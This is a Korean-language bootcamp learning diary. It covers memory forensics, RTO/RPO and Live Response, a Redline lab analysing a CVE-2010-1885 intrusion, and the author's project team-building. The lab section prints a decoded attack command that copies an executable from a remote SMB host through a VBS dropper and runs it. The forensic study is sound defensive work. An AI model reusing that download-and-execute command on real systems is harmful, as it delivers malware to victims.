회고
이번주는 정말 정신없이 지난간거 같다. 슬슬 프로젝트 기간이 다가와서 팀 확정을 지었어야 했고, 프로젝트 주제도 어느정도 윤곽이 나왔어야 해서 교육 끝나고 집 가는 길에도 작업을 계속 해야할만큼 조금 바쁘게 지나간거 같다. 힘든거보단 프로젝트에 대한 기대가 더 커서 나도 모르게 더 움직이게 된 일주일이었다!
한 가진 놀란건 내가 지난주 TIL에 프로젝트 팀빌딩 관련해서 불만사항?을 적었는데 토스뱅크 측에서 운영 매니저님한테 해당 내용이 전달됐다고ㅋㅋㅋㅋ 사실 토스뱅크 측에서 수강생들 TIL을 보신다고는 들었는데 그렇게 자세하게 보실줄은 생각도 못해서 조금 당황스럽긴 했지만 그만큼 수강생들한테 관심을 가지고 계신다는거니까 감사했다.
학습 내용 요약
이번주는 포렌식과 프로젝트 관련 얘기를 중점적으로 했다. 포렌식 중에서도 메모리 포렌식과 파일 시스템 관련 포렌식 내용을 중점적으로 다뤄서 해당 내용을 시작으로 프로젝트에 대해 내가 한 생각들과 이번주에 일어났던 일들에 대해 정리 해보겠다.
이번주 TIL 주제는 다음 두 가지이다.
- 메모리 포렌식
- 프로젝트 진행 현항
Digital Forensics
부트캠프 들어오기 전 연구실에서 Cryptojacking 공격 관련해서 스터디를 진행한적이 있는데 이때 포렌식이라는 것을 처음 접했었다. 나는 ~방식 할 때 그 식인줄 알았는데 명칭이 Forensics이어서ㅋㅋㅋㅋ 당황했던 기억이 있다.
암튼 디지털 포렌식은 디지털 기기에 저장된 데이터를 수집, 분석하여 사건의 증거를 찾는 수사 기법이다. 침해 사고가 발생한 이후 해당 시점에서 어떻게 사고가 발생했는지를 분석하고 상황을 재구성하여 사고에 대해 규명하는 것을 목표로 한다.
그리고 어디에서 증적을 찾고 재구성하냐에 따라 Memory, Network, Disk Forensics으로 나뉜다. 그중 오늘은 Memeory Forensics에 대해 알아보도록 하자!
Memory Forensics
우리가 일반적으로 Memory라고 부르는 것은 RAM을 의미한다. 여기에는 cpu가 처리 중인 데이터, Process, Network 정보, Sytem kernel parameter 등 시스템의 현재 상태를 보여주는 다양한 정보들이 읽고 써지는 공간이다. RAM은 Volatile 특성을 가지고 있는데 전원이 차단되면 데이터가 소실되고, 시스템이 구동되는 중에도 새로운 데이터로 덮어 씌워지는 특성이 있다.
따라서 분석하는 입장에서 무결성 훼손 최소화를 최우선적으로 고려 해야한다. 수집 도구 자체가 메모리를 과도하게 점유하거나 기존 데이터를 덮어쓰지 않도록 신속하게 Dump를 흭득하는 것이 Memory Forensics의 핵심이다.
복구와 수집 사이, RTO/RPO와 Live Response
침해 사고가 발생하면 DRP(Disaster Recovery Planning)에 따라 복구 작업이 이루어진다. 이때 중요하게 고려 해야할 사항이 RTO(Recovery Time Objective)와 RPO(Recovery Point Objective)이다.
RTO와 RPO
- RTO (Recovery Time Objective)
장애 발생 시 시스템을 원래 상태로 복원하는데 소요되는 시간을 의미한다. 이때 고려사항은 다음과 같다.
- 시스템이 얼마나 빨리 복구 되어야 하는가
- 서비스가 재개될 때까지 걸리는 시간- RPO (Recovery Point Objective)
장애 발생 시 비즈니스 연속성을 위해 허용 가능한 최대 데이터 손실 시점을 의미한다. 즉, '어느 시점의 데이터로 복구되어야 하는가'를 결정하는 지표로 고려사항은 다음과 같다.
- 데이터 손실을 얼마나 감당할 수 있는가
- 현재로부터 가장 가까운 백업 지점까지의 목표 시간
기업 입장에서 사고가 발생하면 빠르게 복구하여 서비스를 정상적으로 재개해야 경제적 손실을 막을 수 있을 것이다.
하지만 여기서 딜레마가 발생하는데, RTO를 맞추기 위해 급하게 시스템을 재부팅하거나 백업본으로 덮어 씌우면 메모리에 남아있는 침해 흔적 즉, 증거가 모두 사라진다.
그렇기 때문에 시스템을 종료하지 않은 상태에서, 휘발성 데이터를 포함한 핵심 증거만 신속하게 확보하는 Live Response 기법이 중요하다. RTO를 준수하면서도 결정적인 증거를 놓치지 않기 위한 전략인 Live Response에 대해 알아보자.
보안에 대해 공부를 하다보면 비즈니스, 개발, 사용성과 같이 다른 요소와 충돌하는 부분을 많이 볼 수 있는거 같다. 어떤 보안적인 조치를 취하거나 프로세스를 만들 때 비즈니스적인 요소뿐만 아니라 개발적인 요소도 고려할줄 알아야 한다는 생각이 든다.
기술적인 전문성을 키우는 것뿐만 아니라 프로젝트 할 때도 다른 요소들을 고려하는 연습을 해두면 나중에 현업에 가서 충돌하는 지점을 발견했을 때 대안을 잘 제시할 수 있지 않을까? 라는 생각을 해봤다.
Live Response
시스템이 켜져 있는 상태에서 실시간으로 조사를 수행하는 포렌식 기법으로 시스템 메모리와 같은 휘발성 정보를 수집하고 분석하여 침해 사고 발생시 신속하게 위협을 파악하고 대응하는 데 사용된다. 보안 담당자 입장에서 해당 사고에 대한 증적을 빠르게 확보할 수 있고, 기업 입장에서도 최대한 비즈니스 연속성을 가져갈 수 있기 때문에 앞서 설명한 딜레마를 해결할 수 있다.
참고자료
- www.igloo.co.kr/security-information/windows-live-response-investigation-with-cli-only-part-1
- www.igloo.co.kr/security-information/windows-live-response-investigation-with-cli-only-part-2
실습
Live Response 수행을 위한 스크립트 제작 도구인 Redline이라는 Tool과 강사님이 주신 데이터를 이용해 실습을 진행했다. 이 도구가 Windows 7까지만 지원하는 도구라서 최신화가 안됐다라는 점이 조금 아쉽긴 했지만 포렌식에 대해 처음 공부하는 입장에선 괜찮았던거 같다. 이제 실습으로 넘어가자.
해당 실습은 강사님께서 제공해주신 데이터를 이용해서 진행했다. 해당 데이터에서 프로세스 정보 파악을 통해 어느 시점에서 공격이 일어났고 어떤 공격이 발생했는지 확인했다.
먼저 어떤 프로그램이 실행 됐었는지 확인할 수 있었다. 실행된 프로그램이 매우 많기 때문에 어디부터 검사 해야하는지 기준을 정하는게 제일 중요하다.
그래도 다행인건 해당 프로그램에서 MRI Score를 제공하고 있기 때문에 어느정도 해당 지표를 통해 어느정도는 가닥을 잡을 수 있다. 근데 해당 지표는 참고용일 뿐이지 100% 신뢰할 지표는 아니다.
따라서 프로세스 종속 관계를 먼저 파악 해보기로 했다. 어느 프로세스가 부모 프로세스로서 실행이 됐고 자식 프로세스론 어떤 프로세스가 실행됐는지 파악하면 프로그램 실행 흐름에 대한 정보를 확인할 수 있기 때문이다.
분석 데이터에서 winlogon.exe의 자식으로 lsass.exe가 확인된다면, 이는 Windows XP 또는 2000 계열의 오래된 OS 구조임을 의미한다.
Windows Vista 및 7 이후의 최신 OS 구조에서는 Session 0 격리 정책에 따라 lsass.exe가 winlogon.exe가 아닌 wininit.exe의 자식 프로세스로 실행되기 때문이다.
Temp 디렉토리에 임시 파일을 저장하는건 매우 흔한 상황이다.(dat 확장자 파일) 하지만 System32 같은 디렉토리에 저장한다? 이건 문제가 되는 상황이다.
앞서 설명한거처럼 MRI는 참고용이지 확실한 지표는 아니라는 것을 확인할 수 있었다. 이제 서비스를 호스팅하는 svchost를 봐보자.
아까봤던 jqs.exe와 달리 System32에 파일을 쓰고 있다. 위에서 말한거처럼 문제가 되는 상황이니 svchost가 쓴 Pramfnm.src 파일을 봐보자.
System32
Windows 운영체제의 실행파일, 라이브러리, 드라이버와 같은 파일들을 저장하는 공간이다. 따라서 다른 프로그램이 해당 디렉토리에 어떤 파일을 쓴다면 문제가 되는 행위라고 의심하는 것이다.
Pramfnm.src와 관련된 프로세스 -> 시각을 토대로 Time Line 분석을 진행했다. File/Changed가 된 시점이 공격 시점이라고 추론할 수 있고 해당 시각을 기준으로 적어도 전후 3분정도에 어떤 프로그램이 동작했는지 확인 해봐야 한다.
위 사진에서 iexplore는 인터넷 익스플로러의 실행파일인데 일반적으로 인터넷에서 탭을 열면 해당 탭들은 동일 레벨로 구성되기 때문에 계층 구조를 가지고 있는점에서 의심이 되는 상황이다. 아마 백그라운드로 실행한거 같다.
확인해보니 Argument로 SR.asx를 던지고 있다. 백그라운드로 미디어 플레이어를 실행 시키고 있음을 알 수 있다.
또 HelpCtr.exe를 뜯어보니 script를 던지고 있다. 이 안에 eval 함수가 있다. 이는 script injection 공격을 수행했음을 알 수 있고, 이 취약점은 cve-2010-1885 취약점으로 보안 검증을 우회하여 악성 파일을 다운로드 및 실행 시키는 공격이다.
디코딩 해보면 cmd /c echo WScript.CreateObject("WScript.Shell").Run "cmd /c copy \\192.168.56.130\w\C.exe %TEMP% && %TEMP%\C.exe",0,false>%TEMP%\fW.vbs|cscript %TEMP%\fW.vbs>nul 임을 알 수 있고, exe는 탐지되기 때문에 vbs로 만들어서 실행했음을 알 수 있고, vbs는 cscript를 실행시켜 만들었음을 알 수 있었다.
정리
vbs를 이용하고 인증 프로세스의 계층 구조를 보면 너무 예전 OS에 대한 분석을 진행한거 같아 아쉬운 부분이 있었지만, 윈도우 운영체제의 시스템 구조에 대해 한층 더 깊이 알 수 있었던 수업이었던거 같다.
예전부터 포렌식 분야는 궁금하긴 했는데 좀 허들이 있는 분야라고 생각했다. 그래서 좀처럼 접할 기회가 없었는데 이번 수업을 통해 포렌식 관점에서 어떤 부분에서 민감하게 반응 해야하고, 의심 해야하는지 분석은 어디서부터 출발 해야 하는지에 대해 공부할 수 있어 포렌식에 대해 맛 볼 수 있었던거 같다.
그리고 생각보다 나랑 잘 맞는거 같다는 느낌? 내가 뭐 뜯어보고 물고 늘어지는걸 선호하는 편이어서 그런가 암튼 재밌게 들었던 수업중에 하나였다.
프로젝트
이번주도 어김없이 프로젝트 관련해서 어떤 일이 있었는지 기록 해보려고 한다. 우선.. 결과적으로 다행히 사람이 잘 모였지만 수요조사를 진행했을 때 "네트워크 포렌식"이라는 주제에 대해 프로젝트를 희망하는 사람이 나 포함 셋이었다... 정말 아찔한 순간이었던거 같다ㅋㅋㅋㅋㅋㅋ 왜 사람들이 안모이지..? 문제가 뭘까 곰곰히 생각 해봤다.
이전까지 상황 ...
우선 결과론적으로 사람들이 안모였던 이유가 세부 주제가 픽스난줄 알았다는 반응이 대부분이었다. 세부 주제에 대한 아이디어가 내가 지난 포스트에서 잠깐 소개한 쿠버네티스 환경을 대상으로 한게 전부였다. 그래서 강사님하고 나는 해당 주제에 관해 어떻게 진행하면 좋을지 의논을 지속적으로 해왔고 어느정도 가닥이 잡히고 있는중이었다.
그래서 그런가 사람들이 네트워크 포렌식 주제를 선택하지 않았던거 같고, 아무래도 해당 프로젝트를 쿠버네티스 환경에서 진행하는 쪽으로 이야기를 하다 보니 보안적인 부분 뿐만 아니라 개발까지 진행 해야하는 상황이었고, 개발 비중이 커보였던게 가장 큰 이유가 아니었나.. 싶다. 아무래도 강사님과 너무 많은 얘기를 나눈 잘못인거 같다ㅋㅋㅋㅋㅋㅋ 씁쓸하네...
사실 강사님하고 내 입장에선 아이디어가 안나오니 나온 부분들에서 어떻게 고도화 시킬건지에 대한 의논을 할 수 밖에 없었고, 그런 동안에 새로운 아이디어가 나오길 기다렸던건데..ㅠ
11월 26일 (수)
암튼 해당 문제? 때문에 사람들이 안모이는거 같아 네트워크 포렌식을 통해 진행할 수 있는 주제가 또 뭐가 있을까.. 생각하던 중 Prompt Injection 즉, AI 관련 주제가 번뜩하고 떠올랐다! 우리가 GPT, Gemini와 같은 LLM 서비스를 이용할 때 웹 또는 앱을 통해 이용하니까 네트워크 레벨에서 유의미한 분석을 진행할 수 있지 않을까? 라는 생각이 들었다.
여기에서 좀 더 나아가서 규모가 있는 기업들에서 LLM을 사용할 때 내부망에 환경을 구축하여 사용할텐데 Jailbreak 즉, 탈옥 문제와 위에서 말한 prompt injection 공격이 발생하면 내부 정보가 외부로 유출 될 수 있지 않을까?라는 생각이 들어 바로 강사님께 말씀 드렸다. 그랬더니 사람들이 급 관심을 가져줘서 결론적으로 이미 있었던 3명에 3명이 추가로 합류하여 총 6명이 모이게 됐다.
어쩌다보니 사람이 제일 적었는데 제일 많아져서ㅋㅋㅋㅋㅋㅋ 하.. 진짜 힘들었다.. 주변분들이 영업 잘하는거 같다고ㅋㅋㅋㅋㅋㅋ 뿌듯🤭
자 그래서 사람들 불러 모아서 첫 번째로 아이디어 조사를 해오자고 했다. 왜냐면 내가 낸 아이디어만 있는 상태이고 이게 최선인지에 대한 검증을 할 수 없었기 때문에 추가적으로 조사를 요청했다.
근데 여기서 문제가 추가로 들어오신 분들이 너무 Prompt Injection만 보시는거 같아서 이거만 생각하지 말고 다른거도 좀 찾아보자고 했다.
더 좋은 아이디어가 나올수도 있는거고 질보다는 양을 추구 해야하는 시기라고 판단이 들었기 때문에 해당 요청을 드렸고 지금 생각해봐도 잘못된 판단은 아니었던거 같다.
11월 27일 (목)
다행히 전날에 요청 드린대로 정말 다양한 분야에 대해 아이디어 스케치를 해서 가지고 와주셔서 11개나 모였다😊 해당 스케치를 정리해서 강사님께 피드백을 드려 8개 정도로 추릴 수 있게 됐었고 이를 정리해서 멘토님들께 자문을 구해보자 해서 연락을 드리게 됐다. (사실 지금 생각 해보면 이 판단은 조금 미스였던거 같다.)
이후 멘토님들 답변을 기다리는 동안 내부적인 회의를 거쳐 4가지 k8s, prompt injection, 헤더기반 탐지, SaaS 3rd Party App 주제들로 추려냈고 각자 나눠서 조금 더 자세히 자료 조사와 프로젝트 방향성을 정리해서 일요일에 회의를 진행하기로 했다. 그리고 내가 팀장을 맡기로 했다. 사실 하고 싶기도 했었고 다들 믿고 맡겨 주셔서 감사했다:)
마무리
진행하게 될 프로젝트에서 팀장을 맡게 되어 어깨가 참 무겁지만 좋은 기회를 얻은거 같아 즐겨보려고 한다. 팀원들의 퍼포먼스를 최대한으로 끌어낼 수 있는 방향으로 운영해서 좋은 결과를 얻어낼 수 있기를..
아 멘토님들한테 좀 죄송했다ㅋㅋㅋㅋㅋ 너무 스코핑을 안하고 주제에 대한 자문을 구한거 같아서.. 그래서 뭘 바라는거지? 싶으셨을거 같다. 좀 마음이 급했던거 같다..
그럼에도 불구하고 정말 친절하게 답변도 잘해주시고 피드백을 주셔서 정말 감사했다. 질문할 때는 좀 더 구체적으로 질문을 드려야 구체적인 답변이 나올 수 있음을 .. 다시 한번 깨달았다.
마지막으로 TIL 11월 우수 참여자로 선정됐다ㅎㅎ 오피스 투어 다녀오고 나서 쓴 글을 좋게 봐주셔서 뽑혔다! 변화의 필요성을 느끼고 실천으로 옮겼을 때 결과를 얻은거 같아 뿌듯했다. 읽는 사람이 내 감정과 내가 했던 생각과 현장감을 느낄 수 있게 더 잘 써야겠다는 생각이 든다.
이것으로 이번주 TIL은 여기서 마무리 짓도록 하겠다! 다들 이번 한 주도 고생하셨습니다!
